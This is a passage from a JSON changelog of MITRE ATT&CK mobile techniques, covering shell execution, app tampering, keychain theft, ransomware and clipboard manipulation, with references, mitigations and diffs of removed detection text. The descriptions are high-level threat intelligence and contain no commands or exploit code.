"shared": [], + "new": [], + "dropped": [ + "DS0041: Application Vetting (API Calls)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0643: Detection of Clipboard Data" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--29f1f56c-7b7a-4c14-9e39-59577ea2743c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-03-30 13:40:37.259000+00:00", + "modified": "2025-10-24 17:48:33.677000+00:00", + "name": "Command and Scripting Interpreter", + "description": "Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, Android is a UNIX-like OS and includes a basic [Unix Shell](https://attack.mitre.org/techniques/T1623/001) that can be accessed via the Android Debug Bridge (ADB) or Java\u2019s `Runtime` package.\n\nAdversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0027) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "execution" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1623", + "external_id": "T1623" + }, + { + "source_name": "Samsung Knox Mobile Threat Defense", + "description": "Samsung Knox Partner Program. (n.d.). Knox for Mobile Threat Defense. Retrieved March 30, 2022.", + "url": "https://partner.samsungknox.com/mtd" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:33.677000+00:00\", \"old_value\": \"2025-04-16 21:21:46.879000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Command-line activities can potentially be detected through Mobile Threat Defense integrations with lower-level OS APIs. This could grant the MTD agents access to running processes and their parameters, potentially detecting unwanted or malicious shells.\\n\\nApplication vetting services could detect the invocations of methods that could be used to execute shell commands.(Citation: Samsung Knox Mobile Threat Defense)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Command-line activities can potentially be detected through Mobile Threat Defense integrations with lower-level OS APIs. This could grant the MTD agents access to running processes and their parameters, potentially detecting unwanted or malicious shells.\\n-\\n-Application vetting services could detect the invocations of methods that could be used to execute shell commands.(Citation: Samsung Knox Mobile Threat Defense)\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1002: Attestation", + "M1010: Deploy Compromised Device Detection Method" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0009: Process (Process Metadata)", + "DS0017: Command (Command Execution)", + "DS0041: Application Vetting (API Calls)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0655: Detection of Command and Scripting Interpreter" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--693cdbff-ea73-49c6-ac3f-91e7285c31d1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-03-30 13:59:50.479000+00:00", + "modified": "2025-10-24 17:48:54.078000+00:00", + "name": "Unix Shell", + "description": "Adversaries may abuse Unix shell commands and scripts for execution. Unix shells are the underlying command prompts on Android and iOS devices. Unix shells can control every aspect of a system, with certain commands requiring elevated privileges that are only accessible if the device has been rooted or jailbroken. \n\nUnix shells also support scripts that enable sequential execution of commands as well as other typical programming operations such as conditionals and loops. Common uses of shell scripts include long or repetitive tasks, or the need to run the same set of commands on multiple systems. \n\nAdversaries may abuse Unix shells to execute various commands or payloads. Interactive shells may be accessed through command and control channels or during lateral movement such as with SSH. Adversaries may also leverage shell scripts to deliver and execute multiple commands on victims or as part of payloads used for persistence. \n\nIf the device has been rooted or jailbroken, adversaries may locate and invoke a superuser binary to elevate their privileges and interact with the system as the root user. This dangerous level of permissions allows the adversary to run special commands and modify protected system files. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "execution" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1623/001", + "external_id": "T1623.001" + }, + { + "source_name": "Samsung Knox Mobile Threat Defense", + "description": "Samsung Knox Partner Program. (n.d.). Knox for Mobile Threat Defense. Retrieved March 30, 2022.", + "url": "https://partner.samsungknox.com/mtd" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:54.078000+00:00\", \"old_value\": \"2025-04-16 21:21:50.314000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Command-line activities can potentially be detected through Mobile Threat Defense integrations with lower-level OS APIs. This could grant the MTD agents access to running processes and their parameters, potentially detecting unwanted or malicious shells.\\n\\nApplication vetting services could detect the invocations of methods that could be used to execute shell commands.(Citation: Samsung Knox Mobile Threat Defense)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Command-line activities can potentially be detected through Mobile Threat Defense integrations with lower-level OS APIs. This could grant the MTD agents access to running processes and their parameters, potentially detecting unwanted or malicious shells.\\n-\\n-Application vetting services could detect the invocations of methods that could be used to execute shell commands.(Citation: Samsung Knox Mobile Threat Defense)\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1002: Attestation", + "M1010: Deploy Compromised Device Detection Method" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0009: Process (Process Metadata)", + "DS0017: Command (Command Execution)", + "DS0041: Application Vetting (API Calls)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0607: Detection of Unix Shell" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--d3bc5020-f6a2-41c0-8ccb-5e563101b60c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-05-07 15:24:49.068000+00:00", + "modified": "2025-10-24 17:49:26.629000+00:00", + "name": "Compromise Application Executable", + "description": "Adversaries may modify applications installed on a device to establish persistent access to a victim. These malicious modifications can be used to make legitimate applications carry out adversary tasks when these applications are in use.\n\nThere are multiple ways an adversary can inject malicious code into applications. One method is by taking advantages of device vulnerabilities, the most well-known being Janus, an Android vulnerability that allows adversaries to add extra bytes to APK (application) and DEX (executable) files without affecting the file's signature. By being able to add arbitrary bytes to valid applications, attackers can seamlessly inject code into genuine executables without the user's knowledge.(Citation: Guardsquare Janus)\n\nAdversaries may also rebuild applications to include malicious modifications. This can be achieved by decompiling the genuine application, merging it with the malicious code, and recompiling it.(Citation: CheckPoint Agent Smith)\n\nAdversaries may also take action to conceal modifications to application executables and bypass user consent. These actions include altering modifications to appear as an update or exploiting vulnerabilities that allow activities of the malicious application to run inside a system application.(Citation: CheckPoint Agent Smith)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1577", + "external_id": "T1577" + }, + { + "source_name": "Guardsquare Janus", + "description": "Guarsquare. (2017, November 13). New Android vulnerability allows attackers to modify apps without affecting their signatures. Retrieved May 7, 2020.", + "url": "https://www.guardsquare.com/en/blog/new-android-vulnerability-allows-attackers-modify-apps-without-affecting-their-signatures" + }, + { + "source_name": "CheckPoint Agent Smith", + "description": "A. Hazum, F. He, I. Marom, B. Melnykov, A. Polkovnichenko. (2019, July 10). Agent Smith: A New Species of Mobile Malware. Retrieved May 7, 2020.", + "url": "https://research.checkpoint.com/2019/agent-smith-a-new-species-of-mobile-malware/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:26.629000+00:00\", \"old_value\": \"2025-04-25 15:16:40.355000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"This behavior is seamless to the user and is typically undetectable.\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1001: Security Updates", + "M1006: Use Recent OS Version" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0649: Detection of Compromise Application Executable" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--4f14e30b-8b57-4a7b-9093-2c0778ea99cf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-03-30 19:53:27.791000+00:00", + "modified": "2025-10-24 17:48:45.611000+00:00", + "name": "Compromise Client Software Binary", + "description": "Adversaries may modify system software binaries to establish persistent access to devices. System software binaries are used by the underlying operating system and users over adb or terminal emulators. \n\nAdversaries may make modifications to client software binaries to carry out malicious tasks when those binaries are executed. For example, malware may come with a pre-compiled malicious binary intended to overwrite the genuine one on the device. Since these binaries may be routinely executed by the system or user, the adversary can leverage this for persistent access to the device. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1645", + "external_id": "T1645" + }, + { + "source_name": "Android-VerifiedBoot", + "description": "Android. (n.d.). Verified Boot. Retrieved December 21, 2016.", + "url": "https://source.android.com/security/verifiedboot/" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html", + "external_id": "APP-27" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:45.611000+00:00\", \"old_value\": \"2025-04-16 21:21:49.029000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Verified Boot can detect unauthorized modifications to the system partition.(Citation: Android-VerifiedBoot) Android\\u2019s SafetyNet API provides remote attestation capabilities, which could potentially be used to identify and respond to compromised devices. Samsung Knox provides a similar remote attestation capability on supported Samsung devices. Application vetting services could detect applications trying to modify files in protected parts of the operating system.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1001: Security Updates", + "M1002: Attestation", + "M1003: Lock Bootloader", + "M1004: System Partition Integrity" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0013: Sensor Health (Host Status)", + "DS0041: Application Vetting (API Calls)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0712: Detection of Compromise Client Software Binary" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--cc6e0637-76d2-4af3-a604-9d8d3ff8a6b3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-04-01 14:55:10.494000+00:00", + "modified": "2025-10-24 17:49:23.749000+00:00", + "name": "Credentials from Password Store", + "description": "Adversaries may search common password storage locations to obtain user credentials. Passwords can be stored in several places on a device, depending on the operating system or application holding the credentials. There are also specific applications that store passwords to make it easier for users to manage and maintain. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1634", + "external_id": "T1634" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-11.html", + "external_id": "AUT-11" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:23.749000+00:00\", \"old_value\": \"2025-04-16 21:21:55.358000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Mobile security products can potentially detect jailbroken devices. Application vetting services may be able to detect known privilege escalation exploits contained within applications, as well as searching application packages for strings that correlate to known password store locations.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1001: Security Updates", + "M1002: Attestation", + "M1010: Deploy Compromised Device Detection Method" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0013: Sensor Health (Host Status)", + "DS0041: Application Vetting (API Calls)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0633: Detection of Credentials from Password Store" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--8605a0ec-b44a-4e98-a7fc-87d4bd3acb66", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-04-01 15:01:32.169000+00:00", + "modified": "2025-10-24 17:49:03.949000+00:00", + "name": "Keychain", + "description": "Adversaries may collect keychain data from an iOS device to acquire credentials. Keychains are the built-in way for iOS to keep track of users' passwords and credentials for many services and features such as Wi-Fi passwords, websites, secure notes, certificates, private keys, and VPN credentials. \n\nOn the device, the keychain database is stored outside of application sandboxes to prevent unauthorized access to the raw data. Standard iOS APIs allow applications access to their own keychain contained within the database. By utilizing a privilege escalation exploit or existing root access, adversaries can access the entire encrypted database.(Citation: Apple Keychain Services)(Citation: Elcomsoft Decrypt Keychain) ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1634/001", + "external_id": "T1634.001" + }, + { + "source_name": "Apple Keychain Services", + "description": "Apple, Inc.. (n.d.). Keychain Services. Retrieved June 24, 2020.", + "url": "https://developer.apple.com/documentation/security/keychain_services" + }, + { + "source_name": "Elcomsoft Decrypt Keychain", + "description": "V. Katalov. (2018, December 18). Six Ways to Decrypt iPhone Passwords from the Keychain. Retrieved June 24, 2020.", + "url": "https://blog.elcomsoft.com/2018/12/six-ways-to-decrypt-iphone-passwords-from-the-keychain/" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-11.html", + "external_id": "AUT-11" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:03.949000+00:00\", \"old_value\": \"2025-04-16 21:21:51.670000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Mobile security products can potentially detect jailbroken devices. Application vetting services may be able to detect known privilege escalation exploits contained within applications, as well as searching application packages for strings that correlate to known password store locations.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1001: Security Updates", + "M1002: Attestation", + "M1010: Deploy Compromised Device Detection Method" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0013: Sensor Health (Host Status)", + "DS0041: Application Vetting (API Calls)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0664: Detection of Keychain" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--d9e88203-2b5d-405f-a406-2933b1e3d7e4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-10-25 14:48:10.285000+00:00", + "modified": "2025-10-24 17:49:28.514000+00:00", + "name": "Data Encrypted for Impact", + "description": "An adversary may encrypt files stored on a mobile device to prevent the user from accessing them. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "impact" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1471", + "external_id": "T1471" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-28.html", + "external_id": "APP-28" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "3.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:28.514000+00:00\", \"old_value\": \"2025-04-16 21:21:57.034000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Application vetting services may be able to detect if an application attempts to encrypt files, although this may be benign behavior.\"}}}", + "previous_version": "3.2", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0041: Application Vetting (API Calls)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0678: Detection of Data Encrypted for Impact" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--c548d8c4-a0a3-4a24-bb79-2a84abbc7b36", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-04-06 13:34:46.021000+00:00", + "modified": "2025-10-24 17:49:21.564000+00:00", + "name": "Data Manipulation", + "description": "Adversaries may insert, delete, or alter data in order to manipulate external outcomes or hide activity. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.\n\nThe type of modification and the impact it will have depends on the target application, process, and the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system, typically gained through a prolonged information gathering campaign, in order to have the desired impact.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "impact" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1641", + "external_id": "T1641" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:21.564000+00:00\", \"old_value\": \"2025-04-16 21:21:54.742000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Application vetting services could look for use of standard APIs (e.g. the clipboard API) that could indicate data manipulation is occurring.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1006: Use Recent OS Version" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0041: Application Vetting (API Calls)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0660: Detection of Data Manipulation" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--74e6003f-c7f4-4047-983b-708cc19b96b6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-04-06 13:39:39.779000+00:00", + "modified": "2025-10-24 17:48:57.794000+00:00", + "name": "Transmitted Data Manipulation", + "description": "Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity. By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, or decision making.\n\nManipulation may be possible over a network connection or between system processes where there is an opportunity to deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system, typically gained through a prolonged information gathering campaign, in order to have the desired impact.\n\nOne method to achieve [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1641/001) is by modifying the contents of the device clipboard. Malicious applications may monitor clipboard activity through the `ClipboardManager.OnPrimaryClipChangedListener` interface on Android to determine when clipboard contents have changed. Listening to clipboard activity, reading clipboard contents, and modifying clipboard contents requires no explicit application permissions and can be performed by applications running in the background. However, this behavior has changed with the release of Android 10.\n\nAdversaries may use [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1641/001) to replace text prior to being pasted. For example, replacing a copied Bitcoin wallet address with a wallet address that is under adversarial control.\n\n[Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1641/001) was seen within the Android/Clipper.C trojan. This sample was detected by ESET in an application distributed through the Google Play Store targeting cryptocurrency wallet numbers.(Citation: ESET Clipboard Modification February 2019)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "impact" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1641/001", + "external_id": "T1641.001" + }, + { + "source_name": "ESET Clipboard Modification February 2019", + "description": "ESET. (2019, February 11). First clipper malware discovered on Google Play.. Retrieved July 26, 2019.", + "url": "https://www.eset.com/uk/about/newsroom/press-releases/first-clipper-malware-discovered-on-google-play-1/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:57.794000+00:00\", \"old_value\": \"2025-04-16 21:21:51.156000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Applications could be vetted for their use of the clipboard manager APIs with extra scrutiny given to application that make use of them.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1006: Use Recent OS Version" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0041: Application Vetting (API Calls)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0683: Detection of Transmitted Data Manipulation" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--e1c912a9-e305-434b-9172-8a6ce3ec9c4a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-10 15:12:42.790000+00:00", + "modified": "2025-10-24 17:49:30.706000+00:00", + "name": "Data from Local System", + "description": "Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to exfiltration. \n\n \n\nAccess to local system data, which includes information stored by the operating system, often requires escalated privileges. Examples of local system data include authentication tokens, the device keyboard cache, Wi-Fi passwords, and photos. On Android, adversaries may also attempt to access files from external storage which may require additional storage-related permissions. \n\n ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1533", + "external_id": "T1533" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-41.html", + "external_id": "STA-41" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:30.706000+00:00\", \"old_value\": \"2025-04-16 21:21:57.505000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Accessing data from the local system can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0713: Detection of Data from Local System" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--6c49d50f-494d-4150-b774-a655022d20a6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-10-25 14:48:14.460000+00:00", + "modified": "2025-10-24 17:48:55.445000+00:00", + "name": "Download New Code at Runtime", + "description": "Adversaries may download and execute dynamic code not included in the original application package after installation. This technique is primarily used to evade static analysis checks and pre-publication scans in official app stores. In some cases, more advanced dynamic or behavioral analysis techniques could detect this behavior. However, in conjunction with [Execution Guardrails](https://attack.mitre.org/techniques/T1627) techniques, detecting malicious code downloaded after installation could be difficult.\n\nOn Android, dynamic code could include native code, Dalvik code, or JavaScript code that utilizes Android WebView\u2019s `JavascriptInterface` capability. \n\nOn iOS, dynamic code could be downloaded and executed through 3rd party libraries such as JSPatch. (Citation: FireEye-JSPatch) ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1407", + "external_id": "T1407" + }, + { + "source_name": "FireEye-JSPatch", + "description": "Jing Xie, Zhaofeng Chen, Jimmy Su. (2016, January 27). HOT OR NOT? THE BENEFITS AND RISKS OF IOS 